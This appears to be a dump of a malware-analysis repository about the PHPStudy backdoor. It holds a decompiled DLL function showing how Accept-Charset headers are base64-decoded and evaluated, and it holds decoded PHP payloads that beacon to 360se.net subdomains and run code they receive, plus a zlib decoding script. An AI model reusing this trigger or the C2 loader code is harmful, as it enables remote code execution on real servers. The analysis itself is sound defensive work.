034a234b034c034c734013519352535303539354035c6355236b3365e3702386638b4381c3921392c3931393c395139de39f7399f3aad3abb3ac03ad83aeb3af03a093b4b3b273c533c8e3ce53cfe3c0c3d1a3d3b3d493d573d653d873d983db23dd33de43d283e423e503e6e3ea63eb93ecc3e243f4f3f683fa63ff43f00500000bc09301d302f3049302a3140314e319d31e731fc310732373364338d33ae33f033f533fc3301340834143439344b3454345d3468347134a234af34de344a3575354036bc36f7366137a737df371838373870388f38c838ea383b39db39313a673aa63a603bb73b0a3c093d2f3d353d5b3d623d683d8c3d923d9f3dc63dcc3df63d013e113e2d3e3a3e483e503e6d3ecd3ed43edb3e293f403f443f483f4c3f503f543f583f7f3f853f8a3f933faf3fbb3fd13f6c0100000830bf30ca30db30193159319931d431e63144327a327f3284328932de32e7320a336733a333e433ff3340345b349734d33413356c35f435503686366c379e37ad37bd37ca3724383c38513866387b381639303940394a39613976398e39a639be39e939543a703a783a9f3aaa3ab23abd3ac53ad33ae33a0e3b143b233b293b503bb13bbc3be43be83bec3bf03bf43bf83bfc3b003c043c083c153c293c823cc23cc73cd73ce33cef3cfb3c073d133d1f3d2b3d373d443d483d4c3d503d543d583d5c3d603d643d683d6c3d863d993dae3dc13deb3df23df93d1d3e303e343e383ed43ede3ee33ee83efe3e033f143f193f2a3f2f3f433f483f593f5e3f6f3f743fb13f007000009c2630343039303f304f305a30d330d9303731f5313132793205333d338733da3312344a348334a234db34fd344e35c1350a364c36d436d73728382f384c3877387c38aa38ba38ca38e538fb380039123932393e3959397a39ef39083a1b3a2a3ab43ac63af93a3f3b7a3bb43bbf3bcd3b203c243c283c2c3c303c343c383c3c3c933c9f3caa3cce3cd63c323d3a3d673dcf3d8000004849308d30413151319731323255324c335e333435b036cf37e837f0375638e838ec38f038f438f838fc3800397039f13bf33d6c3f883f8c3f903f943fa73ff33f00900000bcb030c0306c31713177317d31833189318f319531a631ab31b131b731bd31c331c831cc31d031d431d831dc31e031e431e831ec31f031f431f831e13234333b33403347334e3355335c33633384338b339233a133c433fd330f3438343c344034443448344c34c134d634db34e634eb34f634fb3406350b35423568356a3790379b37e3370738c438dc3852399239d239123a523a8d3ac53a1e3b5d3b993bd53b113c4d3ca23cf33c063e883ee43e183f4c3f823f00a000005c263040305430723096303a314f316531903143326f3239336333723378337e3392339833a633ae33b433bf33cc33d433e233e733ec33f133fc3309341334283434343a345c346e34ca34e634f33400351235b0000094b431dc31f0311c32303244326c3280329432bc32d032fc323c33643378338c33b433c833dc33f0331c344434583484349834b034b434b834c434c834cc34d834dc34e034ec34f034f434003504350835143518351c3528352c3530353c3540354435503554355835643568356c3578357c3580358c3590359435a035a435a835b435b835bc35c835cc35e000001cdc35e035e435ec35f035f435f8352036b03d0001000c003b243c00 -------------------------------------------------------------------------------- /ida.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jas502n/PHPStudy-Backdoor/2a0e0f5ce09626aab756b3e12d4d9920e803f09b/ida.jpg -------------------------------------------------------------------------------- /payload.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jas502n/PHPStudy-Backdoor/2a0e0f5ce09626aab756b3e12d4d9920e803f09b/payload.jpg -------------------------------------------------------------------------------- /zlib/F5.txt: -------------------------------------------------------------------------------- 1 | int __cdecl sub_100031F0(int a1, int a2, _DWORD *a3) 2 | { 3 | int v3; // edx 4 | int v4; // eax 5 | int v5; // ecx 6 | int v6; // eax 7 | int v7; // esi 8 | char *v8; // edi 9 | char *v9; // ecx 10 | int v10; // eax 11 | char *v11; // esi 12 | int v12; // eax 13 | char *v13; // edi 14 | char *v14; // ecx 15 | _DWORD *v15; // esi 16 | int v16; // eax 17 | int v17; // edx 18 | int v18; // eax 19 | int v19; // edi 20 | _DWORD *v20; // esi 21 | int result; // eax 22 | int v22; // eax 23 | int v23; // ecx 24 | int v24; // eax 25 | int v25; // edi 26 | _DWORD *v26; // esi 27 | char v27; // [esp+Dh] [ebp-19Bh] 28 | __int16 v28; // [esp+BDh] [ebp-EBh] 29 | char v29; // [esp+BFh] [ebp-E9h] 30 | char v30; // [esp+C0h] [ebp-E8h] 31 | char v31; // [esp+100h] [ebp-A8h] 32 | char v32; // [esp+140h] [ebp-68h] 33 | char v33; // [esp+180h] [ebp-28h] 34 | const char ***v34; // [esp+184h] [ebp-24h] 35 | int v35; // [esp+188h] [ebp-20h] 36 | int v36; // [esp+18Ch] [ebp-1Ch] 37 | const char ***v37; // [esp+190h] [ebp-18h] 38 | int v38; // [esp+194h] [ebp-14h] 39 | _DWORD **v39; // [esp+198h] [ebp-10h] 40 | int v40; // [esp+19Ch] [ebp-Ch] 41 | char *v41; // [esp+1A0h] [ebp-8h] 42 | char *v42; // [esp+1A4h] [ebp-4h] 43 | 44 | memset(&v27, 0, 0xB0u); 45 | v28 = 0; 46 | v3 = *a3; 47 | v29 = 0; 48 | if ( *(_BYTE *)(*(_DWORD *)(v3 + 4 * core_globals_id - 4) + 210) ) 49 | zend_is_auto_global(aServer, 7, a3); 50 | zend_hash_find(*(_DWORD *)(*a3 + 4 * executor_globals_id - 4) + 216, aServer, 8, &v33); 51 | if ( zend_hash_find(*(_DWORD *)(*a3 + 4 * executor_globals_id - 4) + 216, aServer, strlen(aServer) + 1, &v39) != -1 52 | && zend_hash_find(**v39, aHttpAcceptEnco, strlen(aHttpAcceptEnco) + 1, &v34) != -1 ) 53 | { 54 | if ( !strcmp(**v34, aGzipDeflate) ) 55 | { 56 | if ( zend_hash_find(*(_DWORD *)(*a3 + 4 * executor_globals_id - 4) + 216, aServer, strlen(aServer) + 1, &v39) != -1 57 | && zend_hash_find(**v39, aHttpAcceptChar, strlen(aHttpAcceptChar) + 1, &v37) != -1 )// HTTP_ACCEPT_CHARSET 58 | { 59 | v40 = sub_100040B0(**v37, strlen(**v37)); 60 | if ( v40 ) 61 | { 62 | v4 = *(_DWORD *)(*a3 + 4 * executor_globals_id - 4); 63 | v5 = *(_DWORD *)(v4 + 296); 64 | *(_DWORD *)(v4 + 296) = &v30; 65 | v35 = v5; 66 | v6 = setjmp3(&v30, 0); 67 | v7 = v35; 68 | if ( v6 ) 69 | *(_DWORD *)(*(_DWORD *)(*a3 + 4 * executor_globals_id - 4) + 296) = v35; 70 | else 71 | zend_eval_string(v40, 0, &byte_10012884, a3); 72 | *(_DWORD *)(*(_DWORD *)(*a3 + 4 * executor_globals_id - 4) + 296) = v7; 73 | } 74 | } 75 | } 76 | else 77 | { 78 | v12 = strcmp(**v34, aCompressGzip); 79 | if ( !v12 ) 80 | { 81 | v13 = &byte_10012884; 82 | v14 = (char *)&unk_1000D66C; 83 | v42 = &byte_10012884; 84 | v15 = &unk_1000D66C; 85 | while ( 1 ) 86 | { 87 | if ( *v15 == 39 ) 88 | { 89 | v13[v12] = 92; 90 | v42[v12 + 1] = *v14; 91 | v12 += 2; 92 | v15 += 2; 93 | } 94 | else 95 | { 96 | v13[v12++] = *v14; 97 | ++v15; 98 | } 99 | v14 += 4; 100 | if ( (signed int)v14 >= (signed int)&unk_1000E5C4 ) 101 | break; 102 | v13 = v42; 103 | } 104 | spprintf(&v36, 0, aVSMS, byte_100127B8, Dest); 105 | spprintf(&v42, 0, aSEvalSS, v36, aGzuncompress, v42); 106 | v16 = *(_DWORD *)(*a3 + 4 * executor_globals_id - 4); 107 | v17 = *(_DWORD *)(v16 + 296); 108 | *(_DWORD *)(v16 + 296) = &v32; 109 | v40 = v17; 110 | v18 = setjmp3(&v32, 0); 111 | v19 = v40; 112 | if ( v18 ) 113 | { 114 | v20 = a3; 115 | *(_DWORD *)(*(_DWORD *)(*a3 + 4 * executor_globals_id - 4) + 296) = v40; 116 | } 117 | else 118 | { 119 | v20 = a3; 120 | zend_eval_string(v42, 0, &byte_10012884, a3); 121 | } 122 | result = 0; 123 | *(_DWORD *)(*(_DWORD *)(*v20 + 4 * executor_globals_id - 4) + 296) = v19; 124 | return result; 125 | } 126 | } 127 | } 128 | if ( dword_10012AB0 - dword_10012AA0 >= dword_1000D010 && dword_10012AB0 - dword_10012AA0 < 6000 ) 129 | { 130 | if ( strlen(byte_100127B8) == 0 ) 131 | sub_10004480(byte_100127B8); 132 | if ( strlen(Dest) == 0 ) 133 | sub_10004380(Dest); 134 | if ( strlen(byte_100127EC) == 0 ) 135 | sub_100044E0(byte_100127EC); 136 | v8 = &byte_10012884; 137 | v9 = asc_1000D028; 138 | v41 = &byte_10012884; 139 | v10 = 0; 140 | v11 = asc_1000D028; 141 | while ( 1 ) 142 | { 143 | if ( *(_DWORD *)v11 == 39 ) 144 | { 145 | v8[v10] = 92; 146 | v41[v10 + 1] = *v9; 147 | v10 += 2; 148 | v11 += 8; 149 | } 150 | else 151 | { 152 | v8[v10++] = *v9; 153 | v11 += 4; 154 | } 155 | v9 += 4; 156 | if ( (signed int)v9 >= (signed int)&unk_1000D66C ) 157 | break; 158 | v8 = v41; 159 | } 160 | spprintf(&v41, 0, aEvalSS, aGzuncompress, v41); 161 | v22 = *(_DWORD *)(*a3 + 4 * executor_globals_id - 4); 162 | v23 = *(_DWORD *)(v22 + 296); 163 | *(_DWORD *)(v22 + 296) = &v31; 164 | v38 = v23; 165 | v24 = setjmp3(&v31, 0); 166 | v25 = v38; 167 | if ( v24 ) 168 | { 169 | v26 = a3; 170 | *(_DWORD *)(*(_DWORD *)(*a3 + 4 * executor_globals_id - 4) + 296) = v38; 171 | } 172 | else 173 | { 174 | v26 = a3; 175 | zend_eval_string(v41, 0, &byte_10012884, a3); 176 | } 177 | *(_DWORD *)(*(_DWORD *)(*v26 + 4 * executor_globals_id - 4) + 296) = v25; 178 | if ( dword_1000D010 < 3600 ) 179 | dword_1000D010 += 3600; 180 | ftime(&dword_10012AA0); 181 | } 182 | ftime(&dword_10012AB0); 183 | if ( dword_10012AA0 < 0 ) 184 | ftime(&dword_10012AA0); 185 | return 0; 186 | } 187 | 188 | 189 | 190 | 191 | 192 | 193 | ________________________________________________________________ 194 | 195 | v14 = (char *)&unk_1000D66C; 196 | if ( (signed int)v14 >= (signed int)&unk_1000E5C4 ) 197 | 198 | >>>unk_1000D66C - unk_1000E5C4 199 | 200 | >>>1000D66C - 1000E5C4 201 | 202 | >>>BC000000B500000069000000 - 0000005C000000ADB53201 203 | 204 | ________________________________________________________________ 205 | v9 = asc_1000D028; 206 | if ( (signed int)v9 >= (signed int)&unk_1000D66C ) 207 | 208 | >>>asc_1000D028 - unk_1000D66C 209 | 210 | >>>1000D028 - 1000D66C 211 | 212 | >>>7265737300000000 - DA000000ED00000054000000EB000000 213 | ________________________________________________________________ -------------------------------------------------------------------------------- /zlib/p1.hex: -------------------------------------------------------------------------------- 1 | 78daed54eb6ea346147e9948defc68c42569825257c538c6830d89c1e6323f7605833dc60c97150b18d487ef194862a752dfa04896612e67bef35de626994e92fc507cfff17d721785d5fef7fb1ffb9c14f1fedb8d7b37f9e3ef3f277737e6f8727b37994e5facf9743a79bee9fb7e3af9edffe7f24c9effda3721fbf6ce62bc1f589c6c745687aed2637f53a0cc2e893cab029f1db06f74916cf42869135343e56b5b32921b0d614a87fd594372bb8c3252985afaa865588c324b083da5464bfb445e62166b3425925be317b1c79daa208de46b4d4d435fa56f8e9a9b7dd012695747992b185d4b8d25afb919e74eead93c99f9caaf569a63c37996182d87b9049daa15e275f4458df5334373811219d6788b5fbe6c3581f48bc50be514e98c4539f494039e79d1ace50ace9e29af7995125de9e2a590703c439fd95385349bf7d7c74b54995bb57ced54386756e28452e4d845e03da491bea31c139c4f61fde7d89b33cb88a49c424969b1775f183a6bd7b037ca6d29f0dae2bdb7f2bfce43f31df05b18a11714487bb9f4a6b147a0d120c051ec1b35d20cd88312bef6b029285a0a1c6316cb4619eb3b38f7788c32bbc20ee7d362f06e1189d4889d6b94804e94c9a1ce609e1e71e636d0dbe7592be7fdac0b979c47d0546491ec0aab4bbf80170d78afb5599f048a738305dee60b0ee0b2b3b847a036f052e3ec89f3057df3b5e2014baee04b228bf5c501eb0b2170ae306d41ff0d030dd462dcab44860cbef3dcd4971431d6e278e5cc86dac043023c1dc37ed8a3c0181d38d2317801fcfdb52ed512955e78fdece311a925ec2d52bc3439ce236874dc3b3489e558e65908b2311381240eff5857e428010d73b71dbe33ce2f7c675820436e8a94fcabd6bbbfc17f4830e72f9dc5d79f68fb3a57f9d83de40dbe77fda05962d7dce3385b549017c89adda0e5908bafe394659057e0d4020fd1017fe09bd4d037e57ed42af9ba3e35804faef529d454eed11ee98b1eb86887dc6d402fd088c86e156b90dfab5c874e9b62ed3e599f4cc9049fadb307184795b11c73c3f78297e9eac22b455b81a2cced4882463cbcbe8ee89b6f77b137e201ddae344cb9c70dcd17ae3c80ca60f058c5fbe51aa7a1f79045fc7ed1dd7ba29f1b0c3940a7f3fe2de1783ef00fde1f6a04e01b7e2fbc7bb17cdb0ac2d8ef38cffd0ff7430fd8e17ec38dd75b3168d2ac52a5c69ed8906cf773dda11272aaf0dc07de19bc35660738fedcf3712ff9a009e03a0612e04a9e7e6ea5071679c0bb5334dc2ff01b7b10abde77d28f3af5352f030fbb198b41bb956e1c413fc95a2829f6aca1df8f6c98a2500e9901ce0e7e5c841e785db36b189b4e6e6f9fff0101e651e600 -------------------------------------------------------------------------------- /zlib/p1.php: -------------------------------------------------------------------------------- 1 | $i='info^_^'.base64_encode($V.'<|>'.$M.'<|>').'==END==';$zzz='-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------';@eval(base64_decode('QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpOwplcnJvcl9yZXBvcnRpbmcoMCk7CmZ1bmN0aW9uIHRjcEdldCgkc2VuZE1zZyA9ICcnLCAkaXAgPSAnMzYwc2UubmV0JywgJHBvcnQgPSAnMjAxMjMnKXsKCSRyZXN1bHQgPSAiIjsKICAkaGFuZGxlID0gc3RyZWFtX3NvY2tldF9jbGllbnQoInRjcDovL3skaXB9OnskcG9ydH0iLCAkZXJybm8sICRlcnJzdHIsMTApOyAKICBpZiggISRoYW5kbGUgKXsKICAgICRoYW5kbGUgPSBmc29ja29wZW4oJGlwLCBpbnR2YWwoJHBvcnQpLCAkZXJybm8sICRlcnJzdHIsIDUpOwoJaWYoICEkaGFuZGxlICl7CgkJcmV0dXJuICJlcnIiOwoJfQogIH0KICBmd3JpdGUoJGhhbmRsZSwgJHNlbmRNc2cuIlxuIik7Cgl3aGlsZSghZmVvZigkaGFuZGxlKSl7CgkJc3RyZWFtX3NldF90aW1lb3V0KCRoYW5kbGUsIDIpOwoJCSRyZXN1bHQgLj0gZnJlYWQoJGhhbmRsZSwgMTAyNCk7CgkJJGluZm8gPSBzdHJlYW1fZ2V0X21ldGFfZGF0YSgkaGFuZGxlKTsKCQlpZiAoJGluZm9bJ3RpbWVkX291dCddKSB7CgkJICBicmVhazsKCQl9CgkgfQogIGZjbG9zZSgkaGFuZGxlKTsgCiAgcmV0dXJuICRyZXN1bHQ7IAp9CgokZHMgPSBhcnJheSgid3d3IiwiYmJzIiwiY21zIiwiZG93biIsInVwIiwiZmlsZSIsImZ0cCIpOwokcHMgPSBhcnJheSgiMjAxMjMiLCI0MDEyNSIsIjgwODAiLCI4MCIsIjUzIik7CiRuID0gZmFsc2U7CmRvIHsKCSRuID0gZmFsc2U7Cglmb3JlYWNoICgkZHMgYXMgJGQpewoJCSRiID0gZmFsc2U7CgkJZm9yZWFjaCAoJHBzIGFzICRwKXsKCQkJJHJlc3VsdCA9IHRjcEdldCgkaSwkZC4iLjM2MHNlLm5ldCIsJHApOyAKCQkJaWYgKCRyZXN1bHQgIT0gImVyciIpewoJCQkJJGIgPXRydWU7CgkJCQlicmVhazsKCQkJfQoJCX0KCQlpZiAoJGIpYnJlYWs7Cgl9CgkkaW5mbyA9IGV4cGxvZGUoIjxePiIsJHJlc3VsdCk7CglpZiAoY291bnQoJGluZm8pPT00KXsKCQlpZiAoc3RycG9zKCRpbmZvWzNdLCIvKk9uZW1vcmUqLyIpICE9PSBmYWxzZSl7CgkJCSRpbmZvWzNdID0gc3RyX3JlcGxhY2UoIi8qT25lbW9yZSovIiwiIiwkaW5mb1szXSk7CgkJCSRuPXRydWU7CgkJfQoJCUBldmFsKGJhc2U2NF9kZWNvZGUoJGluZm9bM10pKTsKCX0KfXdoaWxlKCRuKTs=')); 2 | 3 | 4 | 5 | 6 | @ini_set("display_errors","0"); 7 | error_reporting(0); 8 | function tcpGet($sendMsg = '', $ip = '360se.net', $port = '20123'){ 9 | $result = ""; 10 | $handle = stream_socket_client("tcp://{$ip}:{$port}", $errno, $errstr,10); 11 | if( !$handle ){ 12 | $handle = fsockopen($ip, intval($port), $errno, $errstr, 5); 13 | if( !$handle ){ 14 | return "err"; 15 | } 16 | } 17 | fwrite($handle, $sendMsg."\n"); 18 | while(!feof($handle)){ 19 | stream_set_timeout($handle, 2); 20 | $result .= fread($handle, 1024); 21 | $info = stream_get_meta_data($handle); 22 | if ($info['timed_out']) { 23 | break; 24 | } 25 | } 26 | fclose($handle); 27 | return $result; 28 | } 29 | 30 | $ds = array("www","bbs","cms","down","up","file","ftp"); 31 | $ps = array("20123","40125","8080","80","53"); 32 | $n = false; 33 | do { 34 | $n = false; 35 | foreach ($ds as $d){ 36 | $b = false; 37 | foreach ($ps as $p){ 38 | $result = tcpGet($i,$d.".360se.net",$p); 39 | if ($result != "err"){ 40 | $b =true; 41 | break; 42 | } 43 | } 44 | if ($b)break; 45 | } 46 | $info = explode("<^>",$result); 47 | if (count($info)==4){ 48 | if (strpos($info[3],"/*Onemore*/") !== false){ 49 | $info[3] = str_replace("/*Onemore*/","",$info[3]); 50 | $n=true; 51 | } 52 | @eval(base64_decode($info[3])); 53 | } 54 | }while($n); -------------------------------------------------------------------------------- /zlib/p1.zlib: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jas502n/PHPStudy-Backdoor/2a0e0f5ce09626aab756b3e12d4d9920e803f09b/zlib/p1.zlib -------------------------------------------------------------------------------- /zlib/p2.hex: -------------------------------------------------------------------------------- 1 | 78da75914d8f9b301086ffcade76f74648d2ad55ad543081d8f95aec60882f15d840091f4642c4815fbf906a55f5d0c34833d23b33cfbcf3f433bdc5d5cb531277e9b7d52f990a25d39767dfabfa98819147be423569c5d2ee2e5195f1080fc9128fa8d0c501a2f6a4db4a34f8262a30f0c8be8986b4492dd401966fb0200a39468e5d70260c875324d8f81d30d7cee8069c1994f2a45529a0051024596030ca4a46c3417ee9b36003e8978e3756fe41ed5a98e01a9b40f370a5b0977753afde43ab7cb0d5dfe77a661ae51675c80966c69617964294d4029679aa5b803cd60933987285b10716f2c180b784f9793afccbe22f300e5c929d4bf748a89419b5117389bf1f37fd81dd87c85b15a7bf73fa0f6a15d403a374d43c4b65ffd1f8e1f13a7966ec03d65f4c50c6e1ba3915f63531175ad46c14c3bd49eb4a475b2c9202bdc1bc2c932533105ccdac4e62ae7b1e1e8d3804fdd4e724d34efed8b516a2baf7e8daed90a5306fe41047a4dac1f97e9dff6198fe9357f5c5bcdf261f261fb9de9dbb5de6bfbf3fbfbefef80403bcb56978 -------------------------------------------------------------------------------- /zlib/p2.php: -------------------------------------------------------------------------------- 1 | @eval( base64_decode('QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpOwplcnJvcl9yZXBvcnRpbmcoMCk7CiRoID0gJF9TRVJWRVJbJ0hUVFBfSE9TVCddOwokcCA9ICRfU0VSVkVSWydTRVJWRVJfUE9SVCddOwokZnAgPSBmc29ja29wZW4oJGgsICRwLCAkZXJybm8sICRlcnJzdHIsIDUpOwppZiAoISRmcCkgewp9IGVsc2UgewoJJG91dCA9ICJHRVQgeyRfU0VSVkVSWydTQ1JJUFRfTkFNRSddfSBIVFRQLzEuMVxyXG4iOwoJJG91dCAuPSAiSG9zdDogeyRofVxyXG4iOwoJJG91dCAuPSAiQWNjZXB0LUVuY29kaW5nOiBjb21wcmVzcyxnemlwXHJcbiI7Cgkkb3V0IC49ICJDb25uZWN0aW9uOiBDbG9zZVxyXG5cclxuIjsKIAoJZndyaXRlKCRmcCwgJG91dCk7CglmY2xvc2UoJGZwKTsKfQ==')); 2 | 3 | 4 | 5 | @ini_set("display_errors","0"); 6 | error_reporting(0); 7 | $h = $_SERVER['HTTP_HOST']; 8 | $p = $_SERVER['SERVER_PORT']; 9 | $fp = fsockopen($h, $p, $errno, $errstr, 5); 10 | if (!$fp) { 11 | } else { 12 | $out = "GET {$_SERVER['SCRIPT_NAME']} HTTP/1.1\r\n"; 13 | $out .= "Host: {$h}\r\n"; 14 | $out .= "Accept-Encoding: compress,gzip\r\n"; 15 | $out .= "Connection: Close\r\n\r\n"; 16 | 17 | fwrite($fp, $out); 18 | fclose($fp); 19 | } -------------------------------------------------------------------------------- /zlib/p2.zlib: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jas502n/PHPStudy-Backdoor/2a0e0f5ce09626aab756b3e12d4d9920e803f09b/zlib/p2.zlib -------------------------------------------------------------------------------- /zlib/zlib2str.py: -------------------------------------------------------------------------------- 1 | import zlib 2 | 3 | f = open('p2.zlib','rb') 4 | s = f.read() 5 | f.close() 6 | 7 | file = zlib.decompress(s) 8 | 9 | a = open('p2.php','wb') 10 | a.write(file) 11 | a.close() --------------------------------------------------------------------------------